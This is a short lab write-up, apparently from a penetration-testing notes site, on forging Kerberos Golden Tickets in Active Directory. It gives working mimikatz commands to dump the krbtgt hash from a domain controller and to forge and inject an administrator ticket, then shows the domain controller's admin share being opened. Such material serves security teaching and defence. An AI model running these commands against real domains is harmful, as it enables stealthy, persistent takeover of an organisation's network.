Comment on page
Kerberos: Golden Tickets
Persistence and Privilege Escalation with Golden Kerberots tickets
This lab explores an attack on Active Directory Kerberos Authentication. To be more precise - an attack that forges Kerberos Ticket Granting Tickets (TGT) that are used to authenticate users with Kerberos. TGTs are used when requesting Ticket Granting Service (TGS) tickets, which means a forged TGT can get us any TGS ticket - hence it's golden.
This attack assumes a Domain Controller compromise where
KRBTGT
account hash will be extracted which is a requirement for a successful Golden Ticket attack.Extracting the krbtgt account's password
NTLM
hash:attacker@victim-dc
mimikatz # lsadump::lsa /inject /name:krbtgt

Creating a forged golden ticket that automatically gets injected in current logon session's memory:
attacker@victim-workstation
mimikatz # kerberos::golden /domain:offense.local /sid:S-1-5-21-4172452648-1021989953-2368502130 /rc4:8584cfccd24f6a7f49ee56355d41bd30 /user:newAdmin /id:500 /ptt

Checking if the ticket got created:

Opening another powershell console with low privileged account and trying to mount a
c$
share of pc-mantvydas
and dc-mantvydas
- not surprisingly, returns access denied:
However, switching back to the console the attacker used to create the golden ticket (local admin) and again attempting to access
c$
share of the domain controller - this time is a success:


Last modified 5yr ago